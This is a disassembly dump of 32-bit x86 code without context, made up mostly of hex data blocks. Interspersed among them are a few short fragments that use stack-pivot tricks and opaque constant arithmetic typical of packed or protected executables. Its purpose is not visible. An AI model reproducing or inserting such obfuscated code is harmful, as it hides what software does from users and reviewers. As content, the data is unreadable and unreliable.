		dd 654E4296h, 0C7A4AFCh, 73F63A03h, 3E84C418h, 5ED808FBh
		dd 0F1466352h, 3F614A9Bh, 0DDD42D49h, 9371471Fh, 6680B23Bh
		dd 0A6090D86h, 13869B2Dh, 413900h, 0EB5FD2B0h, 1FFA5CB8h
		dd 0AF4B4F94h, 18807419h, 9016F677h, 78BAD59h, 60DB0h
		dd 8D7EE500h, 42B3AF49h, 1C977690h, 0D22138DEh,	0AD208660h
		dd 1CE1F9A9h, 0E50333BEh, 0AA4C8E03h, 7E985AD1h, 8327179Eh
		dd 4B83F422h, 576E7A3Eh, 0E960C42Ch, 0ABEF3011h, 806CEF48h
		dd 348AEEB1h, 1A61D950h, 7FDFE83Eh, 2863ADF6h, 0AFC27BFBh
		dd 87D01460h, 7ADD985Dh, 795h, 5D355E00h, 0BA000001h, 6CEF1966h
		dd 8B158480h, 7E1C4FC1h, 0B885ECF5h, 4AF96C7Ah,	0BE1CE47Ah
		dd 147FE533h, 48D69CFh,	7CD9BFD6h, 6BC3A1F7h, 0D34604E2h
		dd 5E3A0368h, 51B274FFh, 227B077Bh, 0B6648074h,	0CC7158ABh
		dd 0AD598686h, 5F40179Bh, 0B000005h, 0D93F3FCCh, 0A442F001h
		dd 6E884AC1h, 34D200F3h, 4B1BDB56h, 61EC428Fh, 3CB10BEDh
		dd 0F47FD83Eh, 4DC4A046h, 5E442D89h, 7A3E4BDDh,	4B8229C4h
		dd 0BCA509EDh, 48B66389h, 0DE35F5DCh, 0C94024FAh, 0B63F9F71h
		dd 0B9328B6Dh, 0B89CEF53h, 70F95D66h, 0D74B95C2h, 0CE77ADDh
		dd 4C000000h, 0AF35h, 1CF85800h, 4B8C4795h, 0BEA32E45h
		dd 6CEAF778h, 73B1E280h, 5BB1FF09h, 4A931881h, 4AF0AD4Ch
		dd 220B147Ah, 0FF7FF656h, 7234BD19h, 68E14513h,	8567B59Eh
		dd 0F246AF14h, 0FCD7931Ah, 5941B598h, 7E80798Fh, 56B14098h
		dd 5AD3AB0Dh, 6AA8F198h, 8CC9CD09h, 0EB49AFF0h,	199A9813h
		dd 808CC9CDh, 18F2B49Fh, 0A5D13A81h, 86A2A5D5h,	74D4693Ah
		dd 0BDA72ADBh, 4846649h, 0F16E0000h, 2A36D002h,	18FD1BDBh
		dd 9C45A393h, 0AB09EF6Fh, 6C643426h, 8E4CC1A7h,	0D3038E68h
		dd 15D95235h, 0A0921BF3h, 669AD04h, 0F37A3E4Bh,	2635ABD2h
		dd 0BA000001h, 820FED4Bh, 0FE45D4B6h, 50D06195h, 56397A4Bh
		dd 5AD3AB0Dh, 159E7E98h, 9B8D8EE1h, 0C1287B86h,	4DF6A379h
		dd 0EF2C3260h, 0C0538079h, 136492FBh, 0FE8CCA2Dh, 8A6E4795h
		dd 5DBBBB32h, 0E52B70F9h, 0B96BA234h, 1CD0E4BEh, 0F6447097h
		dd 23F949AFh, 0B2E0CD76h, 86A320C4h, 6BCB782Bh,	0B6A72A60h
		dd 3E86F70h, 55820000h,	8652B4A6h, 4421C777h, 70E90FCFh
		dd 0D7B55383h, 10C8985Ah, 72E06DC3h, 0BFBF3294h, 0C175FE59h
		dd 0CCE4727h, 5ADDD9A8h, 477A3E49h, 60C407AEh, 0EF4CAFEBh
		dd 6FCD806Ch, 11CF04E2h, 243270Eh, 7859AF1Eh, 0C41076EAh
		dd 0BB0F8666h, 1132F450h, 0F3819B5h, 4DB4A2FFh,	341F66EBh
		dd 0FF8F5106h, 56AB7ADCh, 62000000h, 0BA92693Eh, 896FD744h
		dd 14DF3D04h, 0C334624Bh, 2E806CEEh, 0E4B51765h, 0DC00765Fh
		dd 837A4623h, 8ED4B90h,	0A7175383h, 7086963Bh, 3FD91D94h
		dd 75FC585Eh, 0A3755C2Ah, 6D7246B7h, 33Eh, 24D1DF20h, 8F523D2h
		dd 9AA21505h, 890F8696h, 7359A051h, 6563C4F0h, 52B10982h
		dd 8256BF0Bh, 172A029h,	0E8806CEFh, 0B9EA5CA7h,	9019FD53h
		dd 0E4E044A2h, 0F858B06h, 231FFAE4h, 0CA8C7A45h, 6E92FB72h
		dd 833D5B9Ah, 894DAB8Bh, 3EB510E0h, 0BB4A9648h,	0F7A20450h
		dd 5733674Ch, 407A454Ah, 0A8176BDFh, 718695ABh,	0F4AA1C95h
		dd 3FCC1513h, 0AEAC12D4h, 0A523C278h, 0B0E6CF81h, 8695AC3Fh
		dd 56BBF9AAh, 898DA9CAh, 6C749BF1h, 8674B415h, 3Dh, 0D259C0AFh
		dd 0EF598D89h, 27F17A45h, 157EC845h, 986EE747h,	0ACF76D4Bh
		dd 0F059A6DAh, 38958695h, 1CFEFE58h, 93FA2991h,	0C97FA745h
		dd 0B901F26Fh, 0D7190E6Ah, 1374B3E6h, 103h, 0E960C4D8h
		dd 0DF2C348Ch, 6CEF58DBh, 0F7DE4180h, 997FD1A1h, 18FC5214h
		dd 3763B491h, 806CEFC4h, 0A216622Dh, 4D8108ECh,	6CEE5D09h
		dd 119A7280h, 6CF392E5h, 0CD147F80h, 48906009h
		dd 0D5265CB9h, 3C806CF3h, 0C7A70553h, 40A9F84Eh, 6CF3E152h
		dd 74CAC880h, 0FBC201F9h, 585E3B9Dh, 44FF5480h,	0C523BF48h
		dd 0FCC70CFAh, 26736397h, 0B147A46h, 5D59A2CBh,	86963FDAh
		dd 9E785CC7h, 2F6BB0FBh, 807196D7h, 0BD7CC1CFh,	9FB11ABh
		dd 2A683523h, 8CC18AC9h, 2D896F30h, 0A0705DA4h,	698F4FC2h
		dd 8FE5068Bh, 0A2AD5C47h, 1C05B6Ch, 0ADAA0000h,	0DE7A9C5Eh
		dd 6CC92F2Fh, 489177E7h, 0FF5DBBBBh, 3890C072h,	5A9815EBh
		dd 0E757DABCh, 292DA601h, 74E66FCFh, 3285F1D0h,	9F7A3E48h
		dd 66C47F86h, 0D2B8566h, 0E645389Ch, 0E93A8CD7h, 0D2AA4C8Eh
		dd 76DA5D59h, 5CC7806Ch, 76B00377h, 7619806Ch, 0C0A42F2Fh
		dd 8D89D259h, 7A45EF59h, 60301D06h, 0AC278686h,	45AEE545h
		dd 95EFDE51h, 7C58CB86h, 0F00B688Ch, 4A968695h,	0AE09CFBBh
		dd 0EF80F327h, 26698695h, 0A7A56BDFh, 9C38CB7Fh, 0E6E8088Ah
		dd 0AA0274B3h, 2B000000h, 11E960C4h, 0F54D9BFh,	7246CBA9h
		dd 0EDC06A8Eh, 3797806Ch, 825ABCBEh, 3CDDBF0Bh,	6A68AEF7h
		dd 0FA7A45E7h, 1126591h, 19FF8696h, 8DEB32BFh, 0EC0ECC57h
		dd 79BD862Dh, 80715B64h, 67311A05h, 4CC92981h, 634E1B48h
		dd 0C1DEC437h, 1B622D8Ch, 6E40230h, 0F2F87A8Bh,	0F539AD5Bh
		dd 0C5E2h, 45B6AD00h, 1AEB7791h, 0D45F3ED8h, 0AA598066h
		dd 65E84EA8h, 0E429A1F1h, 0AD4B8B06h, 729446CBh, 0C6201299h
		dd 0CB6FEF66h, 473BBCFAh, 8FA67A3Eh, 0CE66C464h, 0ACBAFB29h
		dd 0DE5737C1h, 0F147ACF7h, 0BDB99F14h, 0C80A835Bh, 0E960C443h
		dd 85603011h, 0F0542A0Eh, 8217F579h, 0EE7CFF3Bh, 0B91D806Ch
		dd 28731C30h, 4FC7D7C3h, 0A7E87A4Bh, 0ADA90DC3h, 0FF7F46CBh
		dd 7234BD19h, 0B0A3843Eh, 6DB14765h, 0F579F054h, 0E932BB13h
		dd 0D127AC0Fh, 41B2AF61h, 82A4BCF9h, 76CE541h, 3418ED19h
		dd 80D44116h, 43CAA244h, 1CD0E7h, 4B510000h, 0EEC33462h
		dd 0E82E806Ch, 0E023870Ah, 7D26B399h, 0EE8DEE14h, 2B74806Ch
		dd 1FC402CDh, 0E0441AECh, 5C3F9169h, 0DBBD13D7h, 583E9056h
		dd 0DDB315D5h, 29309650h, 0D3AA6CDAh, 3028EE58h, 523A79C1h
		dd 0C281E289h, 4, 3304EA83h, 14312414h,	24143324h, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 56241C89h,	0C681E689h
		dd 4, 4EE81h, 34870000h, 3C895C24h, 4EC8124h, 89000000h
		dd 5EBE2434h, 89062E9Fh, 8B545EF3h, 0C481243Ch,	4, 0DBB5350h
		dd 0C1424227h, 0C38102E3h, 0F6F763D4h, 15BD889h, 581889F8h
		dd 53243C8Bh, 0C381E389h, 4, 4C381h, 1C870000h,	1C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		db 1Fh,	0E8h, 0E2h
		dd 6DC55923h, 3B39FD1Fh, 53B8F754h, 3062EA9h, 0DCE0FFC5h
		dd 595D6D8Dh, 8816BF14h, 959EE2Ch, 0CD51DCD8h, 40523079h
		dd 0F14F69C0h, 7F5FF908h, 3A196E13h, 1132BC6Ch,	0A76B3B6h
		dd 0C54B1EC6h, 0D022F9D2h, 0A12E32B8h, 0E812CD08h, 844B7194h
		dd 9F5BBB75h, 9B7F64DAh, 2774972Dh, 66473E0Dh, 48082B28h
		dd 8D73E3E3h, 2EAB3F8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0F17AEEBCh, 0D1858991h
		dd 8B06291Dh, 2928E59Dh, 6D8D8906h, 0C706291Eh,	292D8185h
		dd 600406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8B604221h, 2E62BA0Fh, 85C75933h
		dd 6292005h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C4C35646h
		dd 94CFB24Ah, 0EE8163C2h, 2F65C631h, 35618589h,	0B5FF0629h
		dd 6291B09h, 0FF5AF956h, 2931E995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 85CA5300h
		dd 0BD8BCBB7h, 6292A4Dh, 95FF006Ah, 6290591h, 59EBC08Bh
		dd 0D80CB209h, 7BD13083h, 3425DC14h, 0A50AF185h, 1C7EFA84h
		dd 0E666BD3Dh, 3CF9CA4Fh, 0D9F132DAh, 0EADA8485h, 443A784Ah
		dd 4D8FF04Eh, 93C61745h, 0BFD99B29h, 31ED8C8Bh,	743E4A28h
		dd 7A6D2E3Fh, 43E152FEh, 0AE7559F3h, 3C8108BAh,	88451482h
		dd 0BED96825h, 37314258h, 5C8D8D06h, 29062EACh,	2928E985h
		dd 6D8D8906h, 0E806291Eh, 5, 6B3BF6B0h,	85C75EECh, 6292D81h
		dd 6BB0h, 324D9503h, 85C70629h,	6292005h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FAC35545h
		dd 0DE9FDh, 0E23F0000h,	180A92A0h, 34A819D7h, 0FFBFAA5Eh
		dd 293545B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 89A438C5h, 291DBD9Dh, 0E995FF06h
		dd 6A062931h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7F55C355h, 0D448A6BEh,	0FF006A7Ch
		dd 29059195h, 0EBC08B06h, 1E1F786Ah, 372B4B04h,	176883D0h
		dd 0F40694B3h, 82B07C96h, 9E697400h, 756C787Ch,	59F9A1E3h
		dd 210F2B43h, 0B93694A3h, 572B2BBFh, 8D792C84h,	730A8F97h
		dd 76193DA0h, 88FCB51Ch, 2371DF2h, 55AA2C3Fh, 0CAD91C5h
		dd 0B7A0AD3Dh, 0B01C437Ch, 5A5DCC62h, 21991CBAh, 0BD592B05h
		dd 0E8073EAh, 4AC6CC9Dh, 5A856F6Ch, 8DA8C552h, 2EAD658Dh
		dd 6D8D8906h, 0F06291Eh, 0E960FFBFh, 10h, 920B3403h, 885CD333h
		dd 9C7A1B52h, 53331288h, 108A0Fh, 0BE90000h, 5D000000h
		dd 0DA5CD0Ch, 0D206CA5Ah, 0C7615087h, 292D8185h, 6BD406h
		dd 2B7FC00h, 200585C7h,	629h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 922A80C3h
		dd 51434BDCh, 14119D03h, 0F5A0629h, 0B5FFC0B7h,	6291A15h
		dd 3201B529h, 95FF0629h, 62931E9h, 6AF78Bh, 59195FFh, 0C08B0629h
		dd 983F3EEBh, 1784A024h, 396437EFh, 2AB12CFCh, 5E555DA9h
		dd 0D5438399h, 0C54D275h, 166DEBAh, 98757BA0h, 0C71FF75Ah
		dd 2740F37Ch, 836E95B5h, 20D3F7EEh, 4BA37E0Bh, 3416098h
		dd 7AB98BBAh, 0AE9h, 0C1BFB300h, 7Fh, 0E9000000h, 0C8Ch
		dd 2EAF5668h, 9C45E906h, 8468FFFBh, 0E9062EB0h,	0FFFB9C3Bh
		dd 2EB29E68h, 9C31E906h, 0B968FFFBh, 0E9062EB3h, 0FFFB9C27h
		dd 2EB6A068h, 9C1DE906h, 0BF68FFFBh, 0E9062EB7h, 0FFFB9C13h
		dd 2EB8D968h, 9C09E906h, 0A131FFFBh, 67FA83D7h,	32A24B1Fh
		dd 0F86B7260h, 0C02D3CAAh, 0AF78F8EEh, 3FABFB6Ah, 0FDE9B92Eh
		dd 0A23082ECh, 6B7F459Bh, 74D4EA35h, 0BB3386D7h, 9D33631Ah
		dd 68F88DD7h, 59E74C1Ah, 0F3B80F16h, 2FEC5D8Fh,	6F2E7764h
		dd 18190038h, 5273CA25h, 431147FFh, 411BF419h, 6059694Ch
		dd 5F3F9BE6h, 2E0A26BEh, 43FDDE7h, 178D2CDh, 0FB485C22h
		dd 32h,	0D7B949A0h, 263FDDDEh, 69978EF5h, 19184E7h, 3F9C84B0h
		dd 0A26BE5Fh, 3FDE862Eh, 7BEAFB04h, 5A2CBA2Bh, 6BE33E63h
		dd 485CDD12h, 114CAh, 9D335100h, 0AD3FCCD7h, 4A2AC4DFh
		dd 9539B585h, 0C8A33D00h, 0E7DEA43Bh, 0A73797C6h, 70FE8FD5h
		dd 0F8DCBD1Eh, 0FA2173E5h, 0EE9D42AFh, 0CAE43D46h, 39B5806Ah
		dd 0BC8760B5h, 0C7FC4B24h, 0DE64910h, 0ABFF898Eh, 0A102390Ch
		dd 8DD7095Ah, 2CED3396h, 5617AE9Bh, 0B4BAD8B8h,	15F62739h
		dd 0BDFC982Eh, 0CA39B4B6h, 0F786CC96h, 0EE491361h, 1E70FD60h
		dd 0D3065746h, 0E7FB2283h, 3F9BEE86h, 0C0A03E89h, 0F3FDDF0h
		dd 7F9CB78Eh, 66FB086Bh, 34A5B81Ch, 73BA8162h, 677BA2CDh
		dd 45C69B67h, 5172A96Ah, 1524B204h, 0A40F6C8h, 0D031A3DBh
		dd 0A499382h, 0F5650000h, 0B32637A3h, 76E6F7E3h, 3CAFBE24h
		dd 451786Eh, 6BBC24B2h,	7B6F3FAEh, 21B5FD52h, 0D6FCCE18h
		dd 97C391C7h, 3010AEF1h, 0FF3386D6h, 2E79A75Eh,	0B584B090h
		dd 0A79E7F39h, 9C87D706h, 6634A045h, 61C39F7Eh,	0AC39B585h
		dd 0ABB2146Fh, 187B6F35h, 4AEFA2CDh, 0CED5B6D9h, 0B4C65030h
		dd 77E9F39h, 0ED22790Ch, 33BB47C3h, 0D2F75969h,	0D5C639B4h
		dd 58E60174h, 21F00E15h, 0CC3F9BD2h, 9FFD95CFh,	0EC3FDDD2h
		dd 9AAB3181h, 5A617B4Bh, 375D2CDh, 6DC4CBC6h, 0DDD2F355h
		dd 0DF6F3A3Fh, 78747144h, 0AC72492Ah, 485C6155h, 0CF97h
		dd 9D331C00h, 84F3556Dh, 0D93A39B5h, 14416478h,	8486E6F8h
		dd 444939B5h, 0C013B0EBh, 0D02BEAF2h, 80A9E8F8h, 0AA3E39B5h
		dd 6DE38AD8h, 7EEFFC27h, 0B4FFC92Ch, 9A48510Ah,	60192808h
		dd 23029C87h, 0EA3F9D33h, 58398BD9h, 5497390Ah,	62DCFA41h
		dd 1CE16E46h, 0DF84A282h, 0CFA86D3Fh, 0F0AA46D8h, 42B98F01h
		dd 0CD2A972Bh, 88D45C7h, 1565F015h, 5D2DB841h, 0A515ABA9h
		dd 15AF31h, 91Bh, 55123B7h, 0C99DE574h,	0F0E6B420h, 0BA287AE9h
		dd 62704293h, 85D015F2h, 4798A135h, 105E6F7Bh, 0CF0128BEh
		dd 64BFD185h, 86D4EA4Ah, 1DA03533h, 82D0A233h, 78EF65FBh
		dd 0A33989DAh, 93C09172h, 9F789DC7h, 0B3952D84h, 7A39B584h
		dd 0DF04A299h, 8DD79D33h, 4C1A68F8h, 0DE0F9CF7h, 99C5C88Ch
		dd 39B584B7h, 6CC4E2CAh, 0C90C2D94h, 8B6F1C4h, 0BB2DBEE5h
		dd 0DB22F3E9h, 801E69C0h, 39B4D0A0h, 5B77AE6Fh,	39B4D0F9h
		dd 0D2ECD7C4h, 3F9BD5DBh, 5677BD2h, 0C83FDDDEh,	53726ACBh
		dd 93F50DFDh, 5A3FDDDDh, 0E38AD8B9h, 0E2BD276Dh, 0CE542287h
		dd 0C2394EE5h, 5A4F66ECh, 7D98F1B0h, 8CDAA838h,	43196BFDh
		dd 6251D2AFh, 140F1AD3h, 3C1CB20Dh, 83D36252h, 469A2B12h
		dd 0BE0D567Ch, 0BBD52C3Bh, 0C391C3BBh, 164A1B62h, 2378084Ch
		dd 385FF6D9h, 75EBB0EBh, 3E92BB2Fh, 38D62174h, 0D361E458h
		dd 0F76576A7h, 3D065EA5h, 0EA455893h, 0A13B8DD9h, 0E45838D6h
		dd 76A7D361h, 0ED10AE95h, 0B8D948E1h, 0D9E9405Bh, 0D98AEA77h
		dd 586E5546h, 2D75EAFBh, 62C2DCB7h, 0ADD98AEBh,	4DB48F68h
		dd 9CFC12C3h, 0E9D98AEAh, 0E035287Ah, 7F821C07h, 16DF7204h
		dd 66C3DF85h, 4CDFB405h, 39B00A05h, 0B3E83240h,	516h, 0FFA75E38h
		dd 0EB071E51h, 3F9C9D36h, 45FA9AE1h, 64F36C24h,	7AD5C611h
		dd 4E2EC01Bh, 1B3FDE86h, 30E5FFC5h, 0DCBC522Dh,	233FDE85h
		dd 942A11F2h, 0EBA35521h, 6CB7BA44h, 569BFD15h,	0B1621CAEh
		dd 0F69F334Ah, 89229560h, 0C79DE574h, 0F154EFD6h, 485E4EB6h
		dd 0BC13BCD6h, 0B70E15F6h, 0D6B9391Bh, 2C178422h, 0CA25AB94h
		dd 66678D3h, 0C922D6B9h, 5FC1D1C4h, 0AE22D6B9h,	0E3FF166Dh
		dd 28BDF113h, 2100ABFEh, 57345748h, 4AD2B24Ch, 0F81D2900h
		dd 3269AA85h, 0CD95CADBh, 9550697h, 95E82DB7h, 0B422A030h
		dd 445501E2h, 0C6B84E14h, 0A4149A89h, 7017F1Eh,	3DAD0000h
		dd 0FB6E7F6Bh, 0BE2E3FABh, 84D7E6ECh, 4C99A036h, 13F46C7Ah
		dd 0A33787D6h, 697D459Ah, 1E441640h, 0DF8BD90Fh, 0E84866B9h
		dd 373386D2h, 9D331FA6h, 5BB28DD7h, 0B584E547h,	642EA239h
		dd 84D91CF1h, 75C0A58h,	0DA2171E6h, 0FCF9h, 0E6694200h
		dd 0DC0D9E85h, 0FC82B38Ah, 7D98F9E5h, 0B4FE5172h, 84EF5161h
		dd 0DD3E39B5h, 0BFC138E6h, 7D3B4233h, 80000000h, 9E85E669h
		dd 6535A647h, 0AA8A247Fh, 7539B584h, 0E2FCC7A0h, 39B58487h
		dd 0B5564D4Eh, 0FC435628h, 0E043940Fh, 0D5E8C03Bh, 80748783h
		dd 7894D69Ch, 143B890Dh, 0C8A90A72h, 0AD5DF39Ah, 0B5153315h
		dd 0B819FA39h, 0BAB55B24h, 1F264F63h, 64793F9Ch, 0D3CAABF7h
		dd 20066678h, 34C93FDEh, 77EDFA3h, 7792FFADh, 5C64A6DFh
		dd 0E2648h, 79AD0000h, 37ADF564h, 1DBE9FE6h, 87000001h
		dd 9184E769h, 27E79D4Ah, 1863E96Bh, 0AB40F101h,	98EF3F9Bh
		dd 93B08786h, 99B08BA7h, 5A6CE74h, 62702B78h, 5E633h, 0E588A00h
		dd 5620B158h, 99EB7900h, 0E3AF3CCDh, 2777E6F7h,	21E403B3h
		dd 0E5F4E2B4h
		dd 0ABB22072h, 6C7D693Bh, 6E20B6FCh, 0D1BB9D35h, 0D1023386h
		dd 4422792Ah, 2E13EE63h, 0C649B08Bh, 8B277EA5h,	39B4D0A9h
		dd 9F5CA774h, 5A8513E3h, 774E1849h, 1E57EF2Ah, 0DE423328h
		dd 73h,	3FE66925h, 0B584C1A3h, 2E8F0C39h, 7A3512Dh, 0C8DD87D5h
		dd 0AB97CD9Dh, 0E576435Eh, 0AEF93495h, 0E7FDCF1Dh, 8782CF36h
		dd 33DBB6CFh, 6270D742h, 6D35AAC6h, 0D38CBB3Ah,	3570E8h
		dd 69C70000h, 0D9E85E6h, 82B38ADCh, 0C999CADBh,	811DBCF2h
		dd 0A6D3550h, 0AB39B58Dh, 33C7ADC7h, 947BCE42h,	0A8FBBCC3h
		dd 6F20D823h, 57FFFFFEh, 0E5628B6h, 69BDB48Fh, 0D22E33E6h
		dd 0E1F8ADDAh, 22BBC700h, 98326D82h, 42331B61h,	0AD8F237Ah
		dd 7039B4B7h, 53A058A3h, 37000002h, 0B0902E79h,	7F39B584h
		dd 0D706A79Eh, 0DF0F9C87h, 0F1EB68Dh, 31D68EDCh, 0ED783D58h
		dd 596AC99Dh, 4A1C4A0Ch, 0A43192E9h, 2CB18AD2h,	638AF1C1h
		dd 308B92DDh, 6F734193h, 39B5850Dh, 0D1A333D0h,	52A90A8Bh
		dd 7989E03Bh, 39B58517h, 0A8B3FF6Ch, 13BE106Bh,	723F9C94h
		dd 0FCA53BA1h, 3989D4A1h, 1519CADh, 95E9475Bh, 36A63FDEh
		dd 16D7064h, 0F89535AFh, 6F3A289Dh, 0A4F66734h,	0ECBE2F3Eh
		dd 0AA449FE8h, 3FDE97CAh, 64784A9Fh, 3E69AAB1h,	7FDEBC34h
		dd 151C6742h, 881D006Bh, 40550F5Bh, 698C227Dh, 3C45C64Ch
		dd 16B88BDFh, 0B2EC0DBh, 5A4BEF4Bh, 2D0F23B9h, 0FF4C3154h
		dd 29B84DA4h, 0CC920359h, 4C31546Ch, 361B62B3h,	373AC4DBh
		dd 3E8CDFECh, 0EF12ACC7h, 46521851h, 0DEFB4E55h, 96DC0C1Bh
		dd 0DAD2C483h, 53095B89h, 5E6F7B42h, 0BA1C0E0Ah, 529E5A36h
		dd 3990EBF1h, 59E0C7A9h, 23331652h, 90B6AD4Fh, 0D7F4CFA8h
		dd 0DCA73381h, 0EE0B6D85h, 0C1D25259h, 0EE64C4DAh, 6AAB5259h
		dd 0B66E813h, 1E07FE10h, 15865841h, 1DD5B34Fh, 469A5883h
		dd 1945587Ch, 1D83E5FDh, 494A5883h, 618CF4E8h, 0D9521726h
		dd 83421BFEh, 0A0FBD622h, 13FCF26h, 3A0D61h, 69920000h
		dd 19184E7h, 3F9C84B0h,	67BE5Fh, 0F85102B7h, 3D97EE12h
		dd 0DEDC4725h, 88DA043Fh, 0D59F31D4h, 0ED28718Fh, 0E6216858h
		dd 5D33156Ch, 0AFD748h,	2FBC0000h, 9F96EDBFh, 5C1D2279h
		dd 79CE41B7h, 652FA102h, 35CD247Fh, 39B56E53h, 0A102799Ah
		dd 6B7A6234h, 1035AFF5h, 0D8E4F2C0h, 39B56A99h,	0FAE8BA2Eh
		dd 0B1E40789h, 9E1B3621h, 24BA953Fh, 3FE11B44h,	1AD5B74Bh
		dd 0FB183FE1h, 0CBD2B360h, 8FDBAB3Ah, 0F0C217B4h, 0DDAD388Dh
		dd 7B5A4929h, 0A2F3C12Bh, 2FFh,	61753F93h, 2DB90958h, 0D482D01Ch
		dd 9EC496C5h, 460C5E8Fh, 0A1CC091Eh, 63F485D1h,	34A24B1Fh
		dd 0F3657462h, 405335A1h, 86CECEAEh, 39BC1133h,	0AEF46479h
		dd 0CF9CE736h, 0BD86CC9Eh, 0B9C9976Eh, 5BA2A77Ch, 0C68CD60Ah
		dd 0D79D339Dh, 0DFAD3FCCh, 236FE085h, 80FB54B9h, 0F1C31528h
		dd 9D337EE5h, 68F88DD7h, 59E74C1Ah, 0FAF30F16h,	0F53F9CB4h
		dd 0C8A4BC20h, 853FDEB4h, 495C0052h, 0C81F481Ah, 62AFE2FAh
		dd 7B56A227h, 0F04FA620h, 2D8D485Ch, 12000000h,	9184E769h
		dd 9C84B001h, 26BE5F3Fh, 0DE862E0Ah, 0D2CD043Fh, 5CDD0178h
		dd 0AFFB48h, 3A00000h, 39F86CCh, 3FDE7A21h, 5DD42FECh
		dd 8DD79D33h, 471D6DF8h, 7C6032A6h, 39ADF769h, 0B5815C1Dh
		dd 0ADF76939h, 0F2C01039h, 0ECFF81EAh, 8D9C19A9h, 0FA1B3F9Ch
		dd 80D202A3h, 0B8462DBDh, 0ED506EB5h, 0F845C740h, 0F42F75EBh
		dd 0A437ADAh, 6D504546h, 0C9DAC1D2h, 32D3CA9Ch,	0D9E1D49Eh
		dd 21D5A530h, 31A4835Bh, 0E0A0F5CFh, 8C000001h,	0BF4E145Eh
		dd 630A582Ah, 2637A3F1h, 0E8F1E5B5h, 39B92D7Dh,	0E8BA2BEEh
		dd 367CD3FAh, 7B4D99A0h, 0B80A5E6Fh, 972B742Ah,	3386CDB5h
		dd 3320DB78h, 0FB82D0A2h, 0A1041F65h, 9C7EABD6h, 0AD3D0081h
		dd 84E76936h, 84B00191h, 0BE5F3F9Ch, 3FD80067h,	6FBDE576h
		dd 0AAFDEFE5h, 27BBF70Dh, 3FDE9745h, 53AA0B88h,	970B6979h
		dd 0EA273FDEh, 9D45A0AFh, 20BB4784h, 0CF26E8D3h, 0EC485D38h
		dd 0C8008899h, 0EF03F981h, 3FDEFC8Dh, 0F1E24350h, 4E4F155Fh
		dd 0D1FD77h, 79420000h,	84B0902Eh, 9E7F39B5h, 80D206A7h
		dd 0CA9CC9DCh, 0B724B992h, 7F3E90EBh, 439B581h,	31D88ED4h
		dd 0F1536F9Fh, 0FC39B589h, 0B58982E2h, 95484D39h, 623DA700h
		dd 38DF1807h, 2F1640F6h, 0EC373AC4h, 9D45D7D2h,	0A93DDE3Fh
		dd 0E23934DAh, 0C7EDC6CCh, 0E538DD45h, 637F95C0h, 460AF801h
		dd 0F792F20Ch, 0B85D460Ah, 0F56770A5h, 0CEDFC6A7h, 194C89Ah
		dd 509DAC3Ah, 36BEC87Eh, 461C31A5h, 0C6D7h, 2E78EA00h
		dd 764091B8h, 0B90B5960h, 83CF1C2Dh, 0C797C6D7h, 1C42393h
		dd 0C5D482D4h, 8B92C092h, 4C5D095Bh, 0E00561Ch,	0CC9BFD15h
		dd 0F1623386h, 902E794Ah, 39B584B0h, 0A9F96E7Fh, 5001E233h
		dd 7A4BB200h, 3ECF9BEBh, 0EEBC28AAh, 331A590Dh,	0F88DD79Dh
		dd 0E74C1A68h, 0F30F1659h, 3F9B27EAh, 74D4EA45h, 0BB3FE432h
		dd 0CBC8635Ah, 165C8C91h, 3A1AB40Fh, 853FE432h,	8C9D2D10h
		dd 0F54E165Ch, 0CDAF439Ah, 103FE431h, 317DDF83h, 53403FE4h
		dd 2C985668h, 7A174689h, 0BC065A1Fh, 83D10716h,	0CB97C4D9h
		dd 165C8C91h, 0AE2CBF4Eh, 0D78D6E40h, 46031E6Bh, 0C7948F9Ah
		dd 8697C391h, 395C0052h, 3, 332DD602h, 0FE8FD59Fh, 0A144186Ah
		dd 64796335h, 1035AFF3h, 0DEEFF5C5h, 80A53F8Fh,	485D0753h
		dd 77164E1Ch, 74CC90E2h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	101Bh
		mov	[esp], ecx
		push	esi
		mov	esi, 0DDF3F60h
		inc	esi
		shl	esi, 8
		neg	esi
		push	ebx
		mov	ebx, 14015D81h
		and	esi, ebx
		pop	ebx
		add	esi, 62E9102h
		mov	ebx, esi
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, ebx
		push	esi
		mov	esi, edi
		mov	[ecx+8], esi
		pop	esi
		pop	edi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55C3DB
; ---------------------------------------------------------------------------
		db 0DDh
		dd 2EB9C4B8h, 0FFC50306h, 5046B2E0h, 41C3CC3Ah,	0DF100D62h
		dd 355B1B44h, 46A50F50h, 36979118h, 70FBB762h, 0ED49B728h
		dd 0C3738D36h, 0D8D51504h, 4FDA510h, 0D48D8538h, 2F70D841h
		dd 0CAA36272h, 0F13B243Bh, 2707221Ch, 904E1113h, 0BD8E4272h
		dd 0B24FF077h, 0F03A3358h, 143BC964h, 808C7831h, 5312B36Bh
		dd 44F5875Ah, 0E4452B27h, 9C09D35Fh, 8846940Ch,	0AC93E617h
		dd 0B1765D49h, 9F4C7C5Ch, 0D08CA113h, 5A0DC43h,	0CE86Ah
		dd 6A130000h, 0A728CBAh, 5DDCACF8h, 870F93EAh, 0
